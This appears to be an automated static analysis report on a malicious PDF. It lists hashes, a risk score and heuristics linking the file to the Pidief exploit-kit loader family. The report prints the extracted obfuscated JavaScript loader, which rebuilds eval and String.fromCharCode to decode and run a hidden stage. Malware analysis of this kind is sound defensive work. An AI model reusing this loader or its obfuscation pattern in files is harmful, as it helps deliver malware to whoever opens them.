Malicious PDF — malware analysis report

Static analysis result for SHA-256 fe789ab84bcc241d…

MALICIOUS

PDF

45.0 KB First seen: 2026-05-08
MD5: 8939138afb1413751a9c471f3ae7e205 SHA-1: 3485be056bca963da77abc882833bdee610da5cc SHA-256: fe789ab84bcc241d8dd9df6131e942f4f5392811b9e1af6d3722fb7ca5753cf9
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB13E 489 bytes
SHA-256: 23504c91797028c237ae462d8e136f0ca13fe5734e25374e60eaddd1de805531
Preview script
First 1,000 lines of the extracted script
pkjb='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+='b'+'st';qqq='split';}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
s=a[0]+b+a[1]+'l';
e=(t,qwe)()[s];
ogbyc=e('ti'+'tle');
s=ogbyc.substr(t.length + 8,3)+'str';
q=ogbyc[s](1,(1,t.length + 7));
lqr=e('S'+'tring.fro'+q);
q=ogbyc[s](14)[qqq]('u');
k=q.length;
for (i = 0; i != k; i+=2) {
	gqsuk = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	pkjb += lqr(gqsuk);
}
e(pkjb);

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